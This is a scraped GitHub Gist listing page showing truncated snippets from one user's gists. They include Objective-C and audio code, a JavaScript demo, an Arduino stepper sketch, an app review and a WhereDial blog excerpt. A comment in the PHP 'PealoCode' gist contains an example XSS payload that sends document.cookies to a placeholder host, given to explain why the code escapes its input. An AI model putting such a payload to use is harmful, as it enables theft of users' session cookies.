Skip to content

Instantly share code, notes, and snippets.

@johnmckerrell
johnmckerrell / UIViewDumper.m
Created November 2, 2010 16:25
Very basic method for dumping out a view hierarchy so that you can see what's going on.
-(void) dumpView:(UIView*)parentView indent:(NSInteger)indent {
NSMutableString *indentString = [NSMutableString stringWithCapacity:indent];
for (NSInteger i = 0; i < indent; ++i) {
[indentString appendString:@" "];
}
NSLog(@"%@%@", indentString, parentView);
UIView *childView = nil;
for (childView in parentView.subviews) {
[self dumpView:childView indent:indent+1];
<meta name="apple-touch-fullscreen" content="YES" />
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
@johnmckerrell
johnmckerrell / review.txt
Created January 9, 2011 14:13
Review for my Revise Grade 10 Biology iPhone app
Also ich bin total begeistert von diesem app, jedoch wäre es die 5 Sterne wert, wenn man sich seine Fehler anschauen könnte, und auch dann noch die richtige Antwort... Naja .79€ wäre es mir eher wert gewesen
@johnmckerrell
johnmckerrell / PCMPlay.m
Created February 24, 2011 13:40
Code to play a buffer of ADPCM IMA4 data
OSStatus s;
if (!self.aq) {
AudioStreamBasicDescription asbd;
asbd.mSampleRate = 8000;
asbd.mFormatID = kAudioFormatAppleIMA4;
asbd.mFormatFlags = 0;
asbd.mBytesPerPacket = 0;
asbd.mFramesPerPacket = 0;
asbd.mBytesPerFrame = 0;
asbd.mChannelsPerFrame = 1;
@johnmckerrell
johnmckerrell / foodemo
Created August 8, 2011 15:44
Foo this demo
var blah = 'foo';
var myObject = {blah: 'I am myObject.foo'};
var sayFoo = function() {
console.log(this['blah']);
};
// give myObject a sayFoo property and have it point to sayFoo function
myObject.sayFoo = sayFoo;
myObject.sayFoo(); // logs 'I am myObject.foo' 12
@johnmckerrell
johnmckerrell / SiriProxyError
Created December 3, 2011 16:56
SiriProxy Error message
Create server for iPhone connection
Assertion failed: (e > 0), function SslContext_t, file ssl.cpp, line 162.
/Users/john/.rvm/bin/rvmsudo: line 46: 58439 Abort trap
@johnmckerrell
johnmckerrell / pealocode.php
Created January 9, 2012 15:07
Original PealoCode
/**
* Defend from malicious input by using addslashes
* A malicious user could craft a form that injected JavaScript into these hidden form fields, e.g.:
* <input type="hidden" name="naughty" value="&quot;><script>var img = new Image(); img.src='http://naughtysite.com/submitcookies.php?cookies='+document.cookies;</script>">
*/
while (list($key, $val) = each($_POST)) {
if ($key != 'Submit') {
echo '<input type="hidden" name="' . htmlentities($key) . '" value="' . htmlentities($val) . '" />';
@johnmckerrell
johnmckerrell / StepperMotor.c
Created January 10, 2012 17:18
Stepper Motor Settings
#include <Stepper.h>
const int stepsPerRevolution = 2048; // change this to fit the number of steps per revolution
// for your motor
// initialize the stepper library on pins 8 through 11:
Stepper myStepper(stepsPerRevolution, 7,5,6,4);
void setup() {
// set the speed at 60 rpm:
@johnmckerrell
johnmckerrell / AjaxChecker.js
Created January 12, 2012 16:43
Code to retrieve an XMLHTTPRequest object or fail
var xmlhttp;
if( ! xmlhttp && typeof XMLHttpRequest != 'undefined' ) {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp = undefined;
}
}
if( ! xmlhttp && window.ActiveXObject ) {
try {
@johnmckerrell
johnmckerrell / WhereDialJosette.md
Created October 22, 2012 10:05
WhereDial Josette Post

I looked at the time and realised the afternoon had flown by, my other half would be home soon. I was just about to get up and put the kettle on when I spotted she was still in work. How did I know? It was obvious from my WhereDial. I started to worry that we'd be eating late but the dial started moving and came to rest on "Travelling". Not such a late one after all. I'd learnt the pattern a long while ago. It would tick round to "Station", back to "Travelling" and then once it hit "Station" again it was time to put the kettle on as she'd be through the door shortly after.

This might sound like an odd story if you've never come across the WhereDial but a story similar to this has been playing out regularly in my house since I came up with the idea for the WhereDial. The original concept came about when I was working to promote my MapMe.At site and attended an Arduino hack day - Howduino - in Liverpool. I couldn't think of anything to make and someone suggested I make a location clock "like in the Harry Potte